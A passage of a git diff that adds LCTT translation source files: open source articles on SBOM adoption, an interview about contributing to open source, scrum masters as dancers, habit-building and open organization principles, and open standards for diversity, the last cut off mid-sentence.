both of which can be used to evaluate risk in a product. Those who operate software can use SBOMs to quickly and easily determine whether they are at potential risk of a newly discovered vulnerability. A widely used, machine-readable SBOM format allows for greater benefits through automation and tool integration. The SBOMs gain greater value when collectively stored in a repository that can be easily queried by other applications and systems. Understanding the supply chain of software, obtaining an SBOM, and using it to analyze known vulnerabilities are crucial in managing risk. + +Allan and Kate spent time in their talk going into the current state of SBOMs, challenges, benefits, tools available for creating and sharing SBOMs, what is a minimum SBOM, standards being developed, making them fully automated, and more. Look for some future LF Blog posts digging into these. + +But there are things you can do now. + +### What can you and your organization do now? + +Allan and Kate laid out several things you and your organization can do, starting now. Starting within your organization: + +Next week: Understand origins of software your organization is using + +* Commercial: can you ask for an SBOM? +* Open source: do you have an SBOM for the binary or sources you’re importing? + +Three months: Understand what SBOMs your customers will require + +Expectations: which standards, dependency depth, licensing info? + +Six months: Prototype and deploy + +Implement SBOM through using an OSS tool and/or starting a conversation with vendor + +And participate in ongoing discussions to determine best practices for the ecosystem and contribute to open source project any code developed to support SBOMs. + +### But there are also steps you can take as an individual:  + +Next week: Start playing with an open source SBOM tool and apply it to a repo + +Three months: Have an SBOM strategy that explicitly identifies tooling needs + +Six months: + +Begin SBOM implementation through using an OSS tool or starting a conversation with vendor +Participate in a plugfest and try to consume another’s SBOM + +And make sure to share any open source and commercial tools you find helpful and work with the tools to help harden them, test and report bugs, and push them to scale. + +### How can you shape the future of SBOMs? + +First, I want to highlight some upcoming opportunities they shared to help shape the future of SBOMs. CISA is running public Tooling & Implementation work stream discussions in July 2022. They are the same, but occur at different times to help accommodate more time zones: + +* July 13, 2022 – 3:00-4:30 PM ET +* July 21, 2022 – 9:30-11:00 AM ET + +If you want to participate, please email [SBOM@cisa.dhs.gov][7]. + +Additionally, there will be “[plugfests][8]” to be announced soon, and they suggested organizations already adopting SBOMs publish case studies and reference tooling workflows to help others. + +### Conclusion + +SBOMs are here to stay. If you aren’t already, get on the train now. It is pulling out of the station, but you still have an opportunity to help shape where it is going and how well the journey goes. + +Allan’s and Kate’s slides are available [here][9]. If you registered to attend the RSA Conference, you can now watch their full presentation on demand [here][10]. + +### The Software Package Data ExchangeⓇ (SPDXⓇ) + +The Linux Foundation hosts SPDX, which is an open standard for communicating software bill of material information, including components, licenses, copyrights, and security references. SPDX reduces redundant work by providing a common format for companies and communities to share important data, thereby streamlining and improving compliance. The SPDX specification is an international open standard (ISO/IEC 5962:2021). Learn more at [spdx.dev][11]. + +The post [SBOM – SB Doesn’t Stand for Silver Bullet][12] appeared first on [Linux Foundation][13]. + +-------------------------------------------------------------------------------- + +via: https://www.linux.com/news/sbom-sb-doesnt-stand-for-silver-bullet/ + +作者:[Dan Whiting][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxfoundation.org/blog/sbom-sb-doesnt-stand-for-silver-bullet/ +[b]: https://github.com/lkxed +[1]: https://www.linkedin.com/in/allanafriedman/ +[2]: https://www.cisa.gov/ +[3]: https://www.linkedin.com/in/katestewartaustin/ +[4]: https://www.linuxfoundation.org/tools/the-state-of-software-bill-of-materials-sbom-and-cybersecurity-readiness/ +[5]: https://openssf.org/oss-security-mobilization-plan/ +[6]: https://openssf.org/blog/2021/05/14/how-lf-communities-enable-security-measures-required-by-the-us-executive-order-on-cybersecurity/ +[7]: https://www.linux.com/mailto:SBOM@cisa.dhs.gov +[8]: https://en.wikipedia.org/wiki/Plugtest +[9]: https://www.linuxfoundation.org/wp-content/uploads/Tooling-up-Getting-SBOMs-to-Scale_slides.pdf +[10]: https://www.rsaconference.com/usa/agenda/session/Tooling%20up%20Getting%20SBOMs%20to%20Scale +[11]: https://spdx.dev/ +[12]: https://www.linuxfoundation.org/blog/sbom-sb-doesnt-stand-for-silver-bullet/ +[13]: https://www.linuxfoundation.org/ diff --git a/sources/talk/20220616 -It-s time to contribute to open source-.md b/sources/talk/20220616 -It-s time to contribute to open source-.md new file mode 100644 index 0000000000..9d4e58d4d6 --- /dev/null +++ b/sources/talk/20220616 -It-s time to contribute to open source-.md @@ -0,0 +1,134 @@ +[#]: subject: "“It’s time to contribute to open source”" +[#]: via: "https://www.opensourceforu.com/2022/06/its-time-to-contributing-to-open-source/" +[#]: author: "Abbinaya Kuzhanthaivel https://www.opensourceforu.com/author/abbinaya-swath/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +“It’s time to contribute to open source” +====== +Nilesh Vaghela is an AWS community hero and founder, ElectroMech Corporation, a cloud and open source company. According to him, contributing to open source is a rewarding act in itself. However, it needs commitment and there are many steps involved in the process, right from selecting a project to ensuring your contribution is noticed. In a conversation with Abbinaya Kuzhanthaivel of OSFY, he shares a few tips on how developers can help to improve India’s contributions to open source. + +![Nilesh Vaghela, +AWS community hero and +founder, ElectroMech Corporation][1] + +##### Q. Can you tell us a bit about your current role and contributions to open source. + +**A.** I am currently an architect working on automation. I lead multiple teams and also contribute majorly to Invinsense, an open source security service platform. I started open source groups in early 1998 and had around 1500 members even then. A group (https://groups.google.com/g/vglug) I am handling now has been very active since 2014-15. + +##### Q. How did you start working with open source projects? + +**A.** I am a mechanical engineer by qualification, and was dealing with modems and UPS systems at my firm ElectroMech Corporation. I slowly got dragged into handling PCs, networking and Linux. I started experimenting in 1996 after getting inspired by seeing over 150 computer servers running on Linux at a Nuclear Science Centre. That’s when I converted my company entirely, focusing on open source for training and support. + +I can proudly say that I was one of the first and early adopters of open source — helping customers to understand what is open source, what are its benefits, what’s available for free, security or code issues, and so on. We got at least four or five customers in Vadodara supporting us, and we eventually promoted ourselves through advertisements in the Yellow Pages. We partnered with Red Hat and the journey continues till now. + +##### Q. How do you think open source has evolved since then? + +A. I can say that, earlier, open source was a passion that fascinated and attracted people to participate. I was particularly impressed hearing user-friendly stories across the world when some Siberian contributors were working to improve water scarcity. It was more like a corporate social responsibility (CSR) activity. A board would be created by people and experts to govern and take projects forward. People would come in for the love of technology without expectations. + +I did not believe then that open source could get commercial, but it is the driving force for most of the innovation and technology today, and many more enterprises are adopting it. We are looking forward to a great balance in contribution to and use of open source, as we have people, communities and big companies coming into play. This is the real future and power of open source. + +##### Q. Could you share some of your challenges? + +A. Initially, I walked alone but people joined once they knew my intentions were good. I created a lot of communities without any expectation, but did get paid indirectly in terms of reputation or fame; some people understood that I was a technical expert and gave projects in the long term. As it was very early days, people started joining the community and contributing without much effort. The goal wasn’t to get business and hence I can say I didn’t really face any hurdles. + +##### Q. What are your leadership mantras and lessons from being a community leader? + +**A.** First, if you want to start a community, then be neutral and don’t harbour a biased opinion. It may look like you are running a community as a leader, but remember those joining you are contributing equally. And never demotivate anyone. Be polite while making comments and addressing queries. Whatever the question, if you don’t want to give an answer, then choose to be quiet. But don’t stop anyone from asking. Help them build expertise. + +Second, don’t involve the community in business. Do not mix and match the goals of your business and community. Have a clear differentiation. + +Always try to encourage people to participate instead of delivering instructions as an expert. If you find people are interested to lead and take initiatives, then give them the stage. Invite and engage them in the community. That will help you to make more community leaders. Also, keep your community simple and don’t involve sponsors in the initial stages. + +##### Q. Who do you look up to for inspiration? + +**A.** Richard Stallman, the father of the open source movement, is my inspiration and I have always admired his projects. + +Apart from him, I have an interesting incident to share that inspired me to work on open source. At the time when I started working on open source, most of the software for the Nuclear Science Centre was based on the Windows OS. However, many scientists wanted to work with Linux based software. And within two or three months, they actually created Linux drivers. This is what fascinated me – that the user can create these drivers which may not be possible in the case of proprietary software. I really liked the fact that open source empowered the user. + +##### Q. Your thoughts on the open source landscape in India and the scope for improvement. + +**A.** India is the largest consumer of open source and we are focusing on becoming a contributor. With so many developers around, we still do not have software giants in India. What we have mostly are service providers and not innovators. More people should become contributors to open source and develop something with international labels. + +The very thought of contributing to open source should begin from the level of schools and colleges. Fortunately, the Gujarat government has already introduced lessons based on Linux from Class 8 to Class 10. It is important to educate and make youngsters aware of open source models. + +Second, we have to develop good mentors. When people start contributing, it is important to find an open source mentor working in that particular project. The mentor gives a small assignment, tries the code and then commits it. If everything goes fine, the contribution is increased gradually. Unfortunately, we have very few mentors available in India. We need to prepare a lot of mentors or maybe connect to those across the world. + +Third, we need to encourage those who come forward to contribute. Once you are a recognised developer or a person contributing to open source development, you also progress in your career and business. + +India can be a major contributor to open source by following such simple methods. + +##### Q. What do you think about the coding requirements to contribute to open source? + +**A.** From my experience, if you know the internal parts, how to develop the application, what code standard you should maintain, and how to manage the team and other best practices, you may not have to actually worry about coding expertise. + +There are other roles too with respect to designing, security maintenance and integration. See what works for you. Develop and strengthen your skill in what you like to do. If you feel coding still interests you, then take the support of fellow developers to learn it. + +##### Q. How do you shortlist a project you would like to contribute to? + +A. You need to understand your top few interest areas and then do your research on the projects happening around them. You need to figure out the area of requirements or openings for contributors and more volunteers. You can start small to practice and then build expertise. + +Avoid going by the trendy topics; what’s important is your individual interest. For instance, DevOps is in high demand now and you may tend to go for a DevOps project. Do not make this mistake. + +You can find open source projects on Cloud Native Computing Foundation ([CNCF][2]), Apache, Fedora, Red Hat, and so on. This way you can also find mentors who are already working on projects and can get proper guidance. + +##### Q. Projects have their own purpose and target audience. Sometimes they even misalign with open source goals. So, what does one check before contributing? + +A. I agree it becomes challenging when somebody starts an open source project and then commercialises it. But this is always a risk, and should not discourage you. + +First try to check out the group — how popular are the contributors working in the group, how long have they been contributing, and how reputed are they. And once you join, observing everyone and everything is the key. Try to learn at least for three to six months, and understand how everything works. You can always leave the project if you find the intention is wrong. But if you feel it’s all right, then go ahead and contribute. + +![The team at ElectroMech Corporation][3] + +There are certain licence checks that you can do, say, like GPL version 3. You can also look at unmodified licence versions like the Apache open source licence. + +##### Q. Do you think big companies will accept contributions from freshers? + +A. Yes, of course. Companies also like mentoring. They usually don’t allow you to contribute directly, but may give you a small assignment initially. A mentor will first try to understand what skill you have and how good you are at it. Once they recognise you have the kind of skill that is needed, they will continue to guide you or assign you to some other mentor based on your skill. The initial stages are very crucial. Many companies do some sort of screening, and you may be allowed to contribute only after you have proved your ability. + +##### Q. What are the initial challenges that contributors have to overcome when picking up projects? + +A. First, you should be very serious about your contribution. There are no written commitments and contributors may tend to take the work lightly. That’s totally wrong. Try to dedicate 8-10 hours or whatever is feasible each day. If you are skipping this commitment because you feel there are no immediate returns, then you will not be a good contributor. +Always adhere to a mentor’s guidance strictly at the initial stages. This is very crucial for a healthy contribution. Sometimes it may happen that you believe you are good at something, while your mentor may not assign a project based on that skill. Simply approach your mentor in such scenarios and ask him what you should do, what is your role, and how you can contribute. + +##### Q. Many developers do not get replies after submitting the contribution to a project. How does one make a submission noticeable? + +A. Write a small blog on the project you are planning to contribute to, covering aspects like what you like in it, what you don’t like, and what can be improved. Such a positive and promotional approach can greatly help you. + +Be a part of the group and be involved in activities related to that particular project. Instead of contributing, first try to engage with the group, and this will increase the chances for you to get adopted as a contributor. + +Once you have a better understanding of the project, not only will your work be accepted but you will be able to better align yourself with that project. + +##### Q. How do you overcome a situation where your contribution is not accepted? + +A. Just understand that this can happen for many reasons — maybe you are not in the right project or you have not contributed correctly. If the project is country driven, your request may not be accepted. Hence, remember to have a checklist as stated earlier. Don’t worry if your contribution is not accepted because either you are not fit for the project or the project is not fit for you. + +All I would recommend is try to identify four or five projects, and at least one among those projects you work on will probably be accepted. + +##### Q. What is your message for our readers? + +A. Open source is the driving force behind most of the innovation happening today. Instead of just using open source, let us try to contribute according to our capacity and skills. Contributions can be in terms of code, documentation, testing, blogs, money, etc. It’s time to contribute. + +##### Q. Any hiring plans for ElectroMech Corporation — what are the roles and skill expectations? + +We have requirements in cloud DevOps, and are hiring cloud architects, Python developers, Linux architects and security professionals. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/its-time-to-contributing-to-open-source/ + +作者:[Abbinaya Kuzhanthaivel][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/abbinaya-swath/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Nilesh-Vaghela-AWS-community-hero-and-founder-ElectroMech-Corporation.jpg +[2]: https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwib2vvv3dv3AhVa7XMBHfZSCsIQFnoECAgQAQ&url=https%3A%2F%2Fwww.cncf.io%2F&usg=AOvVaw2LnRyH4SZPDHntRLJU_b3q +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/05/The-team-at-ElectroMech-Corporation.jpg diff --git a/sources/talk/20220617 What scrum masters can learn from dancing.md b/sources/talk/20220617 What scrum masters can learn from dancing.md new file mode 100644 index 0000000000..511b99f955 --- /dev/null +++ b/sources/talk/20220617 What scrum masters can learn from dancing.md @@ -0,0 +1,63 @@ +[#]: subject: "What scrum masters can learn from dancing" +[#]: via: "https://opensource.com/article/22/6/scrum-master-dancing" +[#]: author: "Kelsea Zhang https://opensource.com/users/kelsea-zhang" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +What scrum masters can learn from dancing +====== +Like dancing, being a scrum master takes coordination, verbal and nonverbal communication, and cooperation. + +![OpenStack Superuser][1] + +Image by: Opensource.com + +Many scrum masters have an obsession with quickly turning their teams into what they want them to be. Once their expectations are not met within some arbitrary time limit, or someone resists their ideas, then the fight begins. + +But the fight takes energy, time, and resources, and most of the time it doesn't solve the problem. In fact, most of the time it worsens the problem. When this happens, it's time for some reflection about the role of the scrum master. + +### Priorities of the scrum master and the team + +Even when a team agrees that a problem is indeed a problem, the team may not agree on what's most urgent. As the scrum master, if you ask the team to make efforts to what the team perceives as a secondary conflict, the team will likely resist. They may cooperate nominally, but in the best case you're only getting a fraction of their potential. + +### Don't be stubborn + +Some scrum masters want to make their company look a very specific way, usually in accordance with common models or methods in the industry. Sometimes they openly confront managers who don't align with their vision of how things "should" be. + +It might feel like you're "fighting the good fight" when you attempt to do this, but that doesn't mean you're making progress. You have important work to do, and while your entire company might eventually be transformed, you have to start somewhere. The more support you gather from your team, the better chance you have of spreading your agile principles throughout the organization. + +### Dancing together + +A wise scrum master takes harmonious steps with their team, without stepping on each other's feet or tripping anyone up. Certainly, they could never be thought to be fighting each other. I call this "dancing together" because like dancing, it takes coordination, verbal and nonverbal communication, and cooperation. And when done even moderately well, it renders something elegant and enjoyable. + +### Awareness + +As a scrum master, you need to reflect on yourself all the time. How are your ideas and actions being received? If there's a sense of resistance or competition, then something is probably wrong, either in how you've been communicating, or how you've been seeking feedback and participation. + +As a scrum master, you need to be aware of your environment. There are ebbs and flows within an organization, times when great change is appropriate and times when fundamental groundwork must be laid. Look for that in your organization, starting with your team. Wait for the right person to be in the right place at the right time, wait for an opportunity, wait for a certain policy, and then integrate agile methodology to drive changes. + +### Get buy-in from the top + +In most organizations, the scrum master ultimately serves the business goals of upper management. Transparency and communication are important. It's your job to understand your organization's objectives. Ask for advice from your managers, and get a clear picture of the intentions and expectations of the rest of the company. A scrum master can help management achieve their goals with expertise and efficiency, but only if you understand the objective. + +### Tango over Foxtrot + +Most of the actual agile transformation in real enterprises is very slow. It is not a fast and furious battle. The scrum master has to step in rhythm with the pace of the enterprise. You must strike a balance between who leads and who flourishes. You don't want to move too slow, or too fast. You must not pursue perfection in everything. Allow for mistakes and misunderstandings. Don't blame each other, but stay focused on creating something vibrant together. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/scrum-master-dancing + +作者:[Kelsea Zhang][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/kelsea-zhang +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/LIFE_dance.png diff --git a/sources/talk/20220623 Applying smart thinking to open organization principles.md b/sources/talk/20220623 Applying smart thinking to open organization principles.md new file mode 100644 index 0000000000..57d446aa19 --- /dev/null +++ b/sources/talk/20220623 Applying smart thinking to open organization principles.md @@ -0,0 +1,136 @@ +[#]: subject: "Applying smart thinking to open organization principles" +[#]: via: "https://opensource.com/open-organization/22/6/applying-smart-thinking-open-organization-principles" +[#]: author: "Ron McFarland https://opensource.com/users/ron-mcfarland" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Applying smart thinking to open organization principles +====== +Use your environment, repetition, and the Role of 3 to enhance your thinking habits. + +![a magnifying glass looking at a brain illustration][1] + +Image by: Opensource.com + +Habits have an unfair reputation of being bad things that need to be stopped. But consider this: Automation and habits have many things in common. First, they're both repetitive. They're done over and over, the exact same way. More importantly, they reduce costs (both cost per piece and cost of energy used). + +[Art Markman's book Smart Thinking][2] stresses the importance of creating habits to take your mind away from unimportant thoughts and redirect your attention toward more interesting and creative ideas. You can apply this concept to the use of [open organization principles][3]. + +This article is the second part of a two-part series on habits. The first part drew from a presentation I gave a few years ago. In this article, I apply new information from Markman. + +### What is smart thinking? + +Smart thinking is about the information you have, how you get valuable information, and how you use what you have successfully. It's also the ability to solve new problems using your current knowledge. Smart thinking is a skill you can use, practice, and improve on. Based on that definition, those benefits would be very helpful in promoting open organization principles. + +### Forming habits + +Markman says habits are formed, unthinkingly automatic, and rarely reviewed for their importance. A process of strategic thinking is required to do this review. If performed correctly, less effort is needed to change these habits. The human mental system is designed to avoid thinking when possible. It's preferable to just effortlessly act on routine tasks so you can direct your attention to more important issues. When you perform tasks repeatedly, you form habits so your mind doesn't have to think through them step by step. + +That's why you can't remember things you did a few seconds ago. Markman gives the example of not remembering whether you locked the door of your apartment or house. Because you did it automatically, if you were thinking of something completely different when you locked the door, you likely don't know whether you locked it. + +The goal of smart thinking is to develop as many good habits as possible, so your mind doesn't have to go through the effort of thinking every time you perform them. Developing checklists is a good way to avoid excessive thinking. This can be applied to open organization principles as well. To save on energy and effort, follow a list of items and act on them. This was my goal when I developed the [Communication technology maturity worksheet][4], which I wrote about in my article "[How to assess your organization's technical maturity][5]." If there's no routine and the activity is new, you must resort to a more stressful and tiring thought process. + +### Importance of environment and repetition + +Markman describes a formula for creating smart habits, considering two key facts: + +* There is interaction between environment and action. +* Only work on repeated actions to create good habits. + +#### Environment + +Markman defines an environment as both the outside world and one's internal mental world (such as goals, feelings, or perspectives). In the outside world, you can develop seemingly meaningless activities to create triggers and reminders. For example, you assign convenient locations for things, so you don't have to think about where they are. You can create triggers (such as lists or empty packages for resupply reminders) to highlight things you need to do, thereby avoiding a lot of thought. + +If you want to read a book but have been putting it off, consider taking it out and putting it in front of your computer or TV. That way, you'll see it, and probably have to move it out of your way, each time you're at your computer or TV, which can be a powerful way to get you reading. + +If you learn something in a particular place (with all its surroundings), you will recall that learning more easily if you are in a similar place or the same place. The environment triggers the information to come to the top of your mind. Because new (wanted) habits must be consciously performed, you must add elements in your environment to remind yourself to do them. Also, you must eliminate triggers that remind you of the old (unwanted) habit and replace them with another activity. + +For the internal mental environment, consider trying to memorize useful facts that are continually required, such as names, locations, the best road routes, and so on. If I meet someone I want to get to know better, I ask for their name and use it as much as possible, then write it down when I have a chance. Later, I add that name to my personal contact information. By repeatedly seeing the name, I eventually memorize it and use it without thinking. + +#### Repetition + +All habits are formed through repeated use, and the first time is the hardest. After many repetitions, minimal thought is required, until the habit becomes automatic. Structure your daily life by forming beneficial habits and practicing them. Regular role playing is equally important. By getting those memories top of mind, they become faster to retrieve. + +If you can make each habit as distinct as possible, it will be easier to remember and retrieve when needed. You know you've created a good habit when you no longer have to think about it. + +### When good habits go bad + +A habit can go from good to bad with a situational change. Getting rid of a bad habit and creating a productive new one takes a lot of thought. When a habit change is required, regularly getting a good night's sleep is essential. Your brain helps process the new experiences and behaviors and makes the activity more effective in the future. + +There are two important characteristics of changing habits: + +1. Your current habit pushes you into action. You must overcome the pressure to act. +2. When there's pressure to act, replace the habit with a more helpful action. New memories of the desired action must be developed and stored. + +You must develop triggers to engage the new behavior. This trigger requires your attention, as you are forcing yourself to stop the strong current habit and develop a new and, initially, weak habit. If you are distracted, the old habit remains strong. Your effort could also be disrupted by stress, fatigue, or the powerful influence of your environment. + +Willpower alone cannot change habits, and it's extremely exhausting to try. You might have some short-term successes, but you will wear out eventually. You need environmental support. Cravings happen when you have an active goal that has been blocked. They are your mind's way of saying you must strengthen your desired goal further. You must not only stop the old habit but study what in your environment is activating it. + +To apply these concepts to open organization principles, consider how you can create an environment that makes it easy to activate a principle while discouraging the current unproductive behavior. You must create an environment that reduces the chance of the bad habit being recalled and create triggers to activate the principles. That's the goal of the open organization leadership assessments. They become triggers. + +### The Role of 3 + +One of Markman's key concepts is the Role of 3, which guides both effective learning and effective presentation of information in a way that will be remembered. Markman is talking about getting someone else to change his behavior. This reminds me of my sales seminar in which I wanted to improve (change) the sales associates' selling activities. There is a difference between education, which is just providing knowledge, and training. Training is developing a skill one can use and improve on. Therefore, I had to cut three-quarters of the content and repeat it four times in different ways in my seminars, including role playing. I think what Markman is saying is that stressing just three actions is ideal initially. In my sales training case, my greatest success was role playing product presentations. Not only did the sales people learn the features of the product, but they could talk about them confidently to customers. Afterward, that led to other skills that could be developed. + +This Role of 3 applies to you too when wanting to act on something. Imagine a critical business meeting with vital information presented. Suppose you were distracted by jokes or anxiety-provoking rumors (about layoffs, demotions, or inadequate performance). The meeting could be a waste of your time unless you manage your attention on specific issues. + +Here is what Markman recommends before, during, and after an important event, to learn three key points: + +1. Prepare: Consider what you want to get out of the event (be it a meeting, presentation, or one-on-one discussion) and what you want to achieve. Consider at most three things. Information connected to your goal is easier to detect and remember. Your mental preparation directs your mind to the information you seek. Psychologists call this advance organizer activity. Consider what will be discussed and review any available materials beforehand. +2. Pay attention: This is hard work, particularly when there are distractions. Avoid multitasking on unrelated work (including emails and instant messaging). Working memory is an important concept: Your attention impacts what you will remember later. +3. Review: After any critical information-gathering event (a class, meeting, reading a book or article), write down three key points. If you can't write it down, review it in your mind, or record it on your phone or digital recorder. Try to attach what you learned to what you know. Where do they match or conflict? + +Suppose you're presenting open organization principles to a group. To make sure they remember those principles and use them, follow these procedures: + +1. Start presentations with an agenda and outline for all to review. +2. During the presentation, stay focused primarily on your three critical points. Present all principles, but continually review and highlight three of them. +3. Help people connect the content to what they are doing now and how the principles will improve their activities. +4. Share additional ways the principles can be applied with example use cases and their benefits. +5. End all presentations with a three-point summary. An action plan can be helpful as well. + +Say you're presenting the five open organization principles of transparency, collaboration, inclusivity, adaptability, and community. First, you present all of them in basic terms, but the Role of 3 tells you the audience will probably only pick up on three of them, so you focus on transparency, collaboration, and inclusivity. + +Here's an example outline, following the Role of 3: + +1. Present three key ideas. + 1. Transparency + 2. Collaboration + 3. Inclusivity +2. Organize the presentation by describing each key idea in one sentence. + 1. Transparency is getting as much useful information to other people as possible. + 2. Collaboration is discussing issues with as many other people as appropriate and avoiding making final decisions on your own. + 3. Inclusivity is getting as many different kinds of people involved in a project as appropriate. +3. Develop key idea relationships. + 1. How is transparency related to what people already know? The more transparent you are, the easier it is to collaborate. + 2. How is collaboration related to what people already know, including transparency? If people are doing well with transparency, mention many times that by collaborating more, their transparency will improve. + 3. How is inclusivity related to what people already know, including transparency and inclusivity? The more inclusive we are, the more diverse the ideas generated, leading to more transparency and collaboration. +4. Provide three questions to help people remember and explain the ideas. + 1. When was the last time you paused before deciding something and decided instead to collaborate with all people concerned? + 2. Who do you think would be an easy person to collaborate with? + 3. Each week, how many people do you collaborate with? Should that number be improved upon? + +### Better for everyone + +Now you know what smart thinking is all about. You've learned the Role of 3, and you understand the importance of environment and repetition. These concepts can help you be more productive and happier in whatever you get involved in, including bringing the open organization principles to your own communities. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/open-organization/22/6/applying-smart-thinking-open-organization-principles + +作者:[Ron McFarland][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ron-mcfarland +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/LAW_EvidencedBasedIP_520x292_CS.png +[2]: https://www.amazon.com/Smart-Thinking-Essential-Problems-Innovate/dp/0399537759 +[3]: https://theopenorganization.org/definition/open-organization-definition/ +[4]: https://opensource.com/sites/default/files/images/open-org/communication_tech_worksheet.pdf +[5]: https://opensource.com/open-organization/20/3/communication-technology-worksheet diff --git a/sources/talk/20220624 Create a more diverse and equitable open source project with open standards.md b/sources/talk/20220624 Create a more diverse and equitable open source project with open standards.md new file mode 100644 index 0000000000..4e1b99c3b0 --- /dev/null +++ b/sources/talk/20220624 Create a more diverse and equitable open source project with open standards.md @@ -0,0 +1,130 @@ +[#]: subject: "Create a more diverse and equitable open source project with open standards" +[#]: via: "https://opensource.com/article/22/6/open-source-standards-diversity" +[#]: author: "Paloma Oliveira https://opensource.com/users/discombobulateme" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Create a more diverse and equitable open source project with open standards +====== +Using open standards improves your project's quality and shareability. Most importantly, they can guide technology development by gently enforcing space for diversity and equity. + +![multi-colored dandelions][1] + +Image by: [Monsterkoi][2]. Modified by Opensource.com. [CC BY-SA 4.0][3] + +This article is intended to serve as a reference so that you can understand everything you need to be proud of your repository and make your open source project more open. By using open standards, an open source project improves its quality and shareability, since such standards exist to foster better communication between creators and consumers of the project. Most importantly, open standards can guide technology development by gently enforcing space for diversity and equity. + +### What is open source? + +The term [open source][4] started in the late 80's as a way to guarantee access to technological development by legally guaranteeing the right to copy, modify, and redistribute software. This idea has expanded and today it is about fostering a culture of sharing that supports everything from political actions to a billion dollar technology industry. + +The projects and their communities, which give the projects their value, have become much more complex than just the code. Today, it is impossible to think of a project outside of what I prefer to define as its ecosystem. "Ecosystem" sounds to me like a proper definition, because it acknowledges the complexity of technical things, like code and configuration, and also of people. + +### Lack of diversity is a problem in open source + +Without open source, the technology industry would collapse, or it wouldn't even exist. That's the scope of importance that open source has today. What a powerful feeling it is to know that we are all "standing on the shoulders of giants"? We are all benefiting from the power of the commons, using collective labor and intelligence to make something better for everyone. + +What's rarely spoken of is that such important initiatives, in most cases, depend solely on the volunteer labor of its maintainers. This creates a huge imbalance, both from work and diversity aspects. + +Open source is intrinsically a power to foster diversity within the development industry by valuing the contributions of what is contributed over who is contributing it. The reality is, though, that free time is often a rare commodity for many people. Many people are too busy working to generate income, caring for families and loved ones, looking for work, fighting social injustice, and are unable to dedicate time to contribute to software. + +The very opportunity to contribute to the system depends on you being one of the lucky ones who can be part of this system. This is not a reality for many others because of their gender, skin color, or social status. Historically, women accumulate unpaid work that's invisible, but which requires a substantial proportion of their energy and time. Underprivileged people have little free time because they have to work more hours, often having more than one job. + +This is reflected in the numbers. [Only 4.5%][5] of [open source maintainers][6] are not white males, according to research into the field. So we know that this billion dollar industry, shaping technological development, is composed of a homogeneous environment. But we also know that diversity renders robust innovative results.The question is, how can this be changed? + +### Intentional communication with your open source community + +Communication is key. Build a structure with transparency of communication and governance for your project. Clear, concise and respectful communication makes your project accessible to users and contributors. It helps project maintainers devote their time focusing on what they need to do. It helps interested people feel welcome and start contributing faster and more consistently, and it attracts diversity to your community. + +Sounds great, but how can this be obtained? I grouped the rules of good practice into three categories procedural, daily, and long term. These practices are in part strategic, but if you and your community don't have the capacity to be strategic, it's also possible to substantially change your project by adding a few simple files to your repository. + +But which files are those, and what happens when you already have several projects under your management? A few of them are: + +* Code of conduct +* License +* Readme +* Changelog +* Contributing +* Ownership +* Test directory +* Issues +* Pull request templates +* Security +* Support + +To help you get started, there are many projects that offer templates. By simply cloning them, you create a repository with these documents. + +Another tool, designed to help open source software (OSS) maintainers and open source program offices (OSPO) is [check-my-repo][7]. Created by us at [Sauce Labs' OSPO Community][8], it's an automated tool built on [Repolinter][9] that verifies whether the main necessary parameters to comply with open source best practices (including the files mentioned above and a few other rules), are present in your repositories. The web app also explains why each file needs to exist. + +#### Procedural best practices + +As the name implies, this is about the process: + +* Maintain a single public issue tracker. +* Allow open access to the issues identified by the project. +* Have mechanisms for feedback and to discuss new features. +* Offer public meeting spaces scheduled in advance and have them recorded. + +Here are some files that relate to the procedural logic: + +* README: Make it easier for anyone who lands on your project to get started. +* Code of conduct: Establish expectations and facilitate a healthy and constructive community. +* Ownership: Make sure that someone is put in charge of the project to prevent it from being forgotten. + +#### Daily tasks + +This is about the day-to-day aspects, including: + +* Check the status of the project. +* Explain how to submit issues, propose enhancements, and add new features. +* Show how to contribute to the project. + +Files related to the daily aspects of project management are: + +* Contributing: A step by step guideline on how to contribute. +* Changelog: Notable changes need to be logged. +* Security: Show how to report a security vulnerability. +* Support: How the project is being maintained. + +#### Long term goals + +This has information that guarantees the history and continuation of the project, such as a mission statement, key concepts and goals, a list of features and requirements, and a project roadmap. + +Relevant files are: + +* License: It's essential for users to know their limits, and for you to protect yourself legally. +* Test directory: Use this to avoid regression, breaks, and many other issues. + +### Creating and maintaining your open source project + +Now imagine a project with all of these factors. Will it help you build and keep a community? Will noise in communication be mitigated? Will it save maintainers tons of time so they can onboard people and solve issues? Will people feel welcome? + +Creating and maintaining an open source project is very rewarding. Creating collaboratively is an incredible experience and has the 